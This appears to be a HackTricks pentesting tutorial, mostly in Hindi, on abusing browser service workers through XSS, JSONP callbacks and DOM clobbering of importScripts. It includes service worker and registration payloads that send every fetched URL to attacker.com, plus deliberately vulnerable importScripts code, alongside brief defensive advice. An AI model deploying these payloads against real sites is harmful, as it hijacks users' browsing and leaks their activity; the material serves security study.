Abusing Service Workers

Support HackTricks

Basic Information

एक सर्विस वर्कर एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा बैकग्राउंड में चलती है, किसी भी वेब पृष्ठ से अलग, ऐसी सुविधाओं को सक्षम करती है जिन्हें वेब पृष्ठ या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती, इस प्रकार ऑफलाइन और बैकग्राउंड प्रोसेसिंग क्षमताओं को बढ़ाती है। सर्विस वर्कर्स पर विस्तृत जानकारी यहां मिल सकती है। एक कमजोर वेब डोमेन के भीतर सर्विस वर्कर्स का शोषण करके, हमलावर पीड़ित के सभी पृष्ठों के साथ इंटरैक्शन पर नियंत्रण प्राप्त कर सकते हैं।

Checking for Existing Service Workers

मौजूदा सर्विस वर्कर्स को डेवलपर टूल्स में एप्लिकेशन टैब के सर्विस वर्कर्स सेक्शन में चेक किया जा सकता है। एक और तरीका है chrome://serviceworker-internals पर जाकर अधिक विस्तृत दृश्य प्राप्त करना।

Push Notifications

पुश नोटिफिकेशन अनुमतियाँ सीधे एक सर्विस वर्कर की सर्वर के साथ संवाद करने की क्षमता को प्रभावित करती हैं बिना सीधे उपयोगकर्ता इंटरैक्शन के। यदि अनुमतियाँ अस्वीकृत की जाती हैं, तो यह सर्विस वर्कर की निरंतर खतरे के रूप में संभावनाओं को सीमित करता है। इसके विपरीत, अनुमतियाँ देने से सुरक्षा जोखिम बढ़ जाते हैं क्योंकि यह संभावित शोषण के रिसेप्शन और निष्पादन को सक्षम करता है।

Attack Creating a Service Worker

इस कमजोरी का शोषण करने के लिए आपको निम्नलिखित खोजने की आवश्यकता है:

  • सर्वर पर मनमाने JS फ़ाइलों को अपलोड करने का एक तरीका और अपलोड की गई JS फ़ाइल के सर्विस वर्कर को लोड करने के लिए एक XSS

  • एक कमजोर JSONP अनुरोध जहां आप आउटपुट (मनमाने JS कोड के साथ) को हेरफेर कर सकते हैं और एक XSS जो पेलोड के साथ JSONP को लोड करेगा जो एक दुर्भावनापूर्ण सर्विस वर्कर को लोड करेगा

अगले उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो एक नया सर्विस वर्कर रजिस्टर करेगा जो fetch इवेंट को सुनेगा और प्रत्येक फेच की गई URL को हमलावर के सर्वर पर भेजेगा (यह वह कोड है जिसे आपको सर्वर पर अपलोड करने की आवश्यकता होगी या एक कमजोर JSONP प्रतिक्रिया के माध्यम से लोड करने की आवश्यकता होगी):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

और यह वह कोड है जो कार्यकर्ता को पंजीकृत करेगा (यह कोड आपको XSS का दुरुपयोग करते हुए निष्पादित करने में सक्षम होना चाहिए)। इस मामले में एक GET अनुरोध हमलावरों के सर्वर पर भेजा जाएगा सूचित करने के लिए कि सेवा कार्यकर्ता का पंजीकरण सफल था या नहीं:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

यदि आप एक कमजोर JSONP एंडपॉइंट का दुरुपयोग कर रहे हैं, तो आपको मान को var sw के अंदर रखना चाहिए। उदाहरण के लिए:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.

The 24-hour cache directive limits the life of a malicious or compromised service worker (SW) to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a service worker kill-switch for rapid deactivation.

Abusing importScripts in a SW via DOM Clobbering

The function importScripts called from a Service Worker can import a script from a different domain. If this function is called using a parameter that an attacker could modify he would be able to import a JS script from his domain and get XSS.

यह CSP सुरक्षा को भी बायपास करता है।

Example vulnerable code:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

DOM क्लॉबरिंग के साथ

DOM क्लॉबरिंग क्या है, इसके बारे में अधिक जानकारी के लिए देखें:

Dom Clobbering

यदि URL/डोमेन जहां SW importScripts को कॉल करने के लिए उपयोग कर रहा है, एक HTML तत्व के अंदर है, तो इसे DOM क्लॉबरिंग के माध्यम से संशोधित करना संभव है ताकि SW आपके अपने डोमेन से एक स्क्रिप्ट लोड करे

इसका उदाहरण देखने के लिए संदर्भ लिंक देखें।

संदर्भ

Support HackTricks

Last updated